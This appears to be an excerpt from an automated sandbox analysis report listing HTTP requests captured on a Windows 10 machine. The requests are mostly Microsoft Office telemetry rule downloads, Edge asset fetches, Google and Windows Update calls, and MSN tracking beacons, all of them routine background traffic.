Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+GYF7r+LDPyZfxD&MD=V+w7pNhc HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731843335786&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=26C7834DE9B0666626559677E895674C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731843335786&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dbfc48a00c7f49c1b8860b061f5d2b53&activityId=dbfc48a00c7f49c1b8860b061f5d2b53&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1
